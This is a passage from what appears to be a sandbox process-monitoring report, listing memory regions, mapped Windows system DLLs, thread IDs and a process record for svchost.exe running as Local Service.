	        start_va = 0xfb63c0000
	          end_va = 0xfb647ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000fb63c0000"
	        filename = ""

Region:
	              id = 3585
	        start_va = 0xfb6490000
	          end_va = 0xfb6496fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb6490000"
	        filename = ""

Region:
	              id = 3586
	        start_va = 0xfb6500000
	          end_va = 0xfb65fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb6500000"
	        filename = ""

Region:
	              id = 3587
	        start_va = 0xfb6600000
	          end_va = 0xfb6787fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000fb6600000"
	        filename = ""

Region:
	              id = 3588
	        start_va = 0xfb6790000
	          end_va = 0xfb6910fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000fb6790000"
	        filename = ""

Region:
	              id = 3589
	        start_va = 0xfb6920000
	          end_va = 0xfb6a1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb6920000"
	        filename = ""

Region:
	              id = 3590
	        start_va = 0xfb6a20000
	          end_va = 0xfb6b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb6a20000"
	        filename = ""

Region:
	              id = 3591
	        start_va = 0xfb6b20000
	          end_va = 0xfb6c1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb6b20000"
	        filename = ""

Region:
	              id = 3592
	        start_va = 0xfb6c20000
	          end_va = 0xfb6f56fff
	     entry_point = 0xfb6c20000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 3593
	        start_va = 0xfb6f60000
	          end_va = 0xfb6fdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb6f60000"
	        filename = ""

Region:
	              id = 3594
	        start_va = 0xfb6fe0000
	          end_va = 0xfb70dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb6fe0000"
	        filename = ""

Region:
	              id = 3595
	        start_va = 0xfb70e0000
	          end_va = 0xfb71dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb70e0000"
	        filename = ""

Region:
	              id = 3596
	        start_va = 0xfb72e0000
	          end_va = 0xfb73dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb72e0000"
	        filename = ""

Region:
	              id = 3597
	        start_va = 0xfb73e0000
	          end_va = 0xfb74dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb73e0000"
	        filename = ""

Region:
	              id = 3598
	        start_va = 0xfb74e0000
	          end_va = 0xfb75dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000fb74e0000"
	        filename = ""

Region:
	              id = 3599
	        start_va = 0x7df5ff6d0000
	          end_va = 0x7ff5ff6cffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff6d0000"
	        filename = ""

Region:
	              id = 3600
	        start_va = 0x7ff7b2f34000
	          end_va = 0x7ff7b2f35fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b2f34000"
	        filename = ""

Region:
	              id = 3601
	        start_va = 0x7ff7b2f36000
	          end_va = 0x7ff7b2f37fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b2f36000"
	        filename = ""

Region:
	              id = 3602
	        start_va = 0x7ff7b2f38000
	          end_va = 0x7ff7b2f39fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b2f38000"
	        filename = ""

Region:
	              id = 3603
	        start_va = 0x7ff7b2f3c000
	          end_va = 0x7ff7b2f3dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b2f3c000"
	        filename = ""

Region:
	              id = 3604
	        start_va = 0x7ff7b2f3e000
	          end_va = 0x7ff7b2f3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b2f3e000"
	        filename = ""

Region:
	              id = 3605
	        start_va = 0x7ff7b2f40000
	          end_va = 0x7ff7b303ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b2f40000"
	        filename = ""

Region:
	              id = 3606
	        start_va = 0x7ff7b3040000
	          end_va = 0x7ff7b3062fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b3040000"
	        filename = ""

Region:
	              id = 3607
	        start_va = 0x7ff7b3063000
	          end_va = 0x7ff7b3064fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3063000"
	        filename = ""

Region:
	              id = 3608
	        start_va = 0x7ff7b3065000
	          end_va = 0x7ff7b3066fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3065000"
	        filename = ""

Region:
	              id = 3609
	        start_va = 0x7ff7b3067000
	          end_va = 0x7ff7b3068fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3067000"
	        filename = ""

Region:
	              id = 3610
	        start_va = 0x7ff7b3069000
	          end_va = 0x7ff7b306afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3069000"
	        filename = ""

Region:
	              id = 3611
	        start_va = 0x7ff7b306b000
	          end_va = 0x7ff7b306bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b306b000"
	        filename = ""

Region:
	              id = 3612
	        start_va = 0x7ff7b306e000
	          end_va = 0x7ff7b306ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b306e000"
	        filename = ""

Region:
	              id = 3613
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 3614
	        start_va = 0x7ffbf2c70000
	          end_va = 0x7ffbf2cb0fff
	     entry_point = 0x7ffbf2c70000
	     region_type = mapped_file
	            name = "ssdpsrv.dll"
	        filename = "\\Windows\\System32\\ssdpsrv.dll" (normalized: "c:\\windows\\system32\\ssdpsrv.dll")

Region:
	              id = 3615
	        start_va = 0x7ffbf5200000
	          end_va = 0x7ffbf5242fff
	     entry_point = 0x7ffbf5200000
	     region_type = mapped_file
	            name = "execmodelclient.dll"
	        filename = "\\Windows\\System32\\ExecModelClient.dll" (normalized: "c:\\windows\\system32\\execmodelclient.dll")

Region:
	              id = 3616
	        start_va = 0x7ffbf9c90000
	          end_va = 0x7ffbf9c97fff
	     entry_point = 0x7ffbf9c90000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 3617
	        start_va = 0x7ffbf9ca0000
	          end_va = 0x7ffbf9ca7fff
	     entry_point = 0x7ffbf9ca0000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 3618
	        start_va = 0x7ffbf9d70000
	          end_va = 0x7ffbf9d79fff
	     entry_point = 0x7ffbf9d70000
	     region_type = mapped_file
	            name = "wshqos.dll"
	        filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll")

Region:
	              id = 3619
	        start_va = 0x7ffbfcfa0000
	          end_va = 0x7ffbfcfb9fff
	     entry_point = 0x7ffbfcfa0000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 3620
	        start_va = 0x7ffbfcfc0000
	          end_va = 0x7ffbfcfd5fff
	     entry_point = 0x7ffbfcfc0000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 3621
	        start_va = 0x7ffbfd5b0000
	          end_va = 0x7ffbfd732fff
	     entry_point = 0x7ffbfd5b0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 3622
	        start_va = 0x7ffbfd740000
	          end_va = 0x7ffbfd7b1fff
	     entry_point = 0x7ffbfd740000
	     region_type = mapped_file
	            name = "mmdevapi.dll"
	        filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll")

Region:
	              id = 3623
	        start_va = 0x7ffbfdbe0000
	          end_va = 0x7ffbfdbebfff
	     entry_point = 0x7ffbfdbe0000
	     region_type = mapped_file
	            name = "bi.dll"
	        filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll")

Region:
	              id = 3624
	        start_va = 0x7ffbfde60000
	          end_va = 0x7ffbfde8cfff
	     entry_point = 0x7ffbfde60000
	     region_type = mapped_file
	            name = "timebrokerserver.dll"
	        filename = "\\Windows\\System32\\TimeBrokerServer.dll" (normalized: "c:\\windows\\system32\\timebrokerserver.dll")

Region:
	              id = 3625
	        start_va = 0x7ffbfe0d0000
	          end_va = 0x7ffbfe0dafff
	     entry_point = 0x7ffbfe0d0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 3626
	        start_va = 0x7ffbfe0f0000
	          end_va = 0x7ffbfe127fff
	     entry_point = 0x7ffbfe0f0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 3627
	        start_va = 0x7ffbfeb20000
	          end_va = 0x7ffbfeb5efff
	     entry_point = 0x7ffbfeb20000
	     region_type = mapped_file
	            name = "brokerlib.dll"
	        filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll")

Region:
	              id = 3628
	        start_va = 0x7ffbfec30000
	          end_va = 0x7ffbfecf7fff
	     entry_point = 0x7ffbfec30000
	     region_type = mapped_file
	            name = "coremessaging.dll"
	        filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll")

Region:
	              id = 3629
	        start_va = 0x7ffbff210000
	          end_va = 0x7ffbff236fff
	     entry_point = 0x7ffbff210000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 3630
	        start_va = 0x7ffbff260000
	          end_va = 0x7ffbff34dfff
	     entry_point = 0x7ffbff260000
	     region_type = mapped_file
	            name = "twinapi.appcore.dll"
	        filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll")

Region:
	              id = 3631
	        start_va = 0x7ffbff5d0000
	          end_va = 0x7ffbff601fff
	     entry_point = 0x7ffbff5d0000
	     region_type = mapped_file
	            name = "fwbase.dll"
	        filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll")

Region:
	              id = 3632
	        start_va = 0x7ffbff610000
	          end_va = 0x7ffbff691fff
	     entry_point = 0x7ffbff610000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 3633
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 3634
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 3635
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 3636
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 3637
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 3638
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 3639
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 3640
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 3641
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 3642
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 3643
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 3644
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 3645
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 3646
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 3647
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 3648
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 3649
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 3650
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 3651
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 3652
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 3653
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 3654
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 3655
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 3656
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 3657
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 3658
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 296
	os_tid = 0x98c


Thread:
	id = 297
	os_tid = 0x97c


Thread:
	id = 298
	os_tid = 0x90c


Thread:
	id = 299
	os_tid = 0x900


Thread:
	id = 300
	os_tid = 0x8f0


Thread:
	id = 301
	os_tid = 0x8ec


Thread:
	id = 302
	os_tid = 0x880


Thread:
	id = 303
	os_tid = 0x3b4


Thread:
	id = 304
	os_tid = 0x3b0


Thread:
	id = 305
	os_tid = 0x364


Process:
	id = "14"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x545cc000"
	os_pid = "0x384"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AJRouter" [0xa], "NT SERVICE\\bthserv" [0xa], "NT SERVICE\\CDPSvc" [0xa], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\FontCache" [0xa], "NT SERVICE\\LicenseManager" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\RemoteRegistry" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT SERVICE\\workfolderssvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e172" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 2954
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2955
	        start_va = 0x2386f60000
	          end_va = 0x2386f6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002386f60000"
	        filename = ""

Region:
	              id = 2956
	        start_va = 0x2386f70000
	          end_va = 0x2386f70fff
	     entry_point = 0x2386f70000
	     region_type = mapped_file
	            name = "svchost.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")

Region:
	              id = 2957
	        start_va = 0x2386f80000
	          end_va = 0x2386f93fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002386f80000"
	        filename = ""

Region:
	              id = 2958
	        start_va = 0x2386fa0000
	          end_va = 0x238701ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002386fa0000"
	        filename = ""

Region:
	              id = 2959
	        start_va = 0x2387020000
	          end_va = 0x2387023fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002387020000"
	        filename = ""

Region:
	              id = 2960
	        start_va = 0x2387030000
	          end_va = 0x2387030fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002387030000"
	        filename = ""

Region:
	              id = 2961
	        start_va = 0x2387040000
	          end_va = 0x2387041fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002387040000"
	        filename = ""

Region:
	              id = 2962
	        start_va = 0x2387050000
	          end_va = 0x238710dfff
	     entry_point = 0x2387050000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2963
	        start_va = 0x2387190000
	          end_va = 0x2387190fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002387190000"
	        filename = ""

Region:
	              id = 2964
	        start_va = 0x23871a0000
	          end_va = 0x23871a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000023871a0000"
	        filename = ""

Region:
	              id = 2965
	        start_va = 0x23871b0000
	          end_va = 0x23871b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000023871b0000"
	        filename = ""

Region:
	              id = 2966
	        start_va = 0x23871c0000
	          end_va = 0x23871c6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000023871c0000"
	        filename = ""

Region:
	              id = 2967
	        start_va = 0x23871d0000
	          end_va = 0x23871e1fff
	     entry_point = 0x23871d0000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 2968
	        start_va = 0x23871f0000
	          end_va = 0x23871f4fff
	     entry_point = 0x23871f0000
	     region_type = mapped_file
	            name = "stdole2.tlb"
	        filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb")

Region:
	              id = 2969
	        start_va = 0x2387200000
	          end_va = 0x23872fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002387200000"
	        filename = ""

Region:
	              id = 2970
	        start_va = 0x2387300000
	          end_va = 0x23873bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002387300000"
	        filename = ""

Region:
	              id = 2971
	        start_va = 0x23873c0000
	          end_va = 0x23873c1fff
	     entry_point = 0x23873c0000
	     region_type = mapped_file
	            name = "netprofmsvc.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\netprofmsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netprofmsvc.dll.mui")

Region:
	              id = 2972
	        start_va = 0x23873d0000
	          end_va = 0x23873d1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000023873d0000"
	        filename = ""

Region:
	              id = 2973
	        start_va = 0x23873e0000
	          end_va = 0x23873e6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000023873e0000"
	        filename = ""

Region:
	              id = 2974
	        start_va = 0x23873f0000
	          end_va = 0x23873f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000023873f0000"
	        filename = ""

Region:
	              id = 2975
	        start_va = 0x2387400000
	          end_va = 0x23874fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002387400000"
	        filename = ""

Region:
	              id = 2976
	        start_va = 0x2387500000
	          end_va = 0x2387687fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002387500000"
	        filename = ""

Region:
	              id = 2977
	        start_va = 0x2387690000
	          end_va = 0x2387810fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002387690000"
	        filename = ""

Region:
	              id = 2978
	        start_va = 0x2387820000
	          end_va = 0x238791ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002387820000"
	        filename = ""

Region:
	              id = 2979
	        start_va = 0x2387920000
	          end_va = 0x2387c56fff
	     entry_point = 0x2387920000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2980
	        start_va = 0x2387c60000
	          end_va = 0x2387d5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002387c60000"
	        filename = ""

Region:
	              id = 2981
	        start_va = 0x2387d60000
	          end_va = 0x2387e5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002387d60000"
	        filename = ""

Region:
	              id = 2982
	        start_va = 0x2387e60000
	          end_va = 0x2387f5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002387e60000"
	        filename = ""

Region:
	              id = 2983
	        start_va = 0x2387f60000
	          end_va = 0x2387fdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002387f60000"
	        filename = ""

Region:
	              id = 2984
	        start_va = 0x2387fe0000
	          end_va = 0x23880dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002387fe0000"
	        filename = ""

Region:
	              id = 2985
	        start_va = 0x23880e0000
	          end_va = 0x2388155fff
	     entry_point = 0x23880e0000
	     region_type = mapped_file
	            name = "~fontcache-system.dat"
	        filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-system.dat")

Region:
	              id = 2986
	        start_va = 0x23881e0000
	          end_va = 0x23882dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000023881e0000"
	        filename = ""

Region:
	              id = 2987
	        start_va = 0x23882e0000
	          end_va = 0x23883dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000023882e0000"
	        filename = ""

Region:
	              id = 2988
	        start_va = 0x23883e0000
	          end_va = 0x23893dffff
	     entry_point = 0x23883e0000
	     region_type = mapped_file
	            name = "~fontcache-fontface.dat"
	        filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-FontFace.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-fontface.dat")

Region:
	              id = 2989
	        start_va = 0x23893e0000
	          end_va = 0x23894dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000023893e0000"
	        filename = ""

Region:
	              id = 2990
	        start_va = 0x23894e0000
	          end_va = 0x23895dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000023894e0000"
	        filename = ""

Region:
	              id = 2991
	        start_va = 0x23896e0000
	          end_va = 0x23897dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000023896e0000"
	        filename = ""

Region:
	              id = 2992
	        start_va = 0x2389800000
	          end_va = 0x23898fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002389800000"
	        filename = ""

Region:
	              id = 2993
	        start_va = 0x2389900000
	          end_va = 0x23899fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002389900000"
	        filename = ""

Region:
	              id = 2994
	        start_va = 0x2389a00000
	          end_va = 0x2389afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002389a00000"
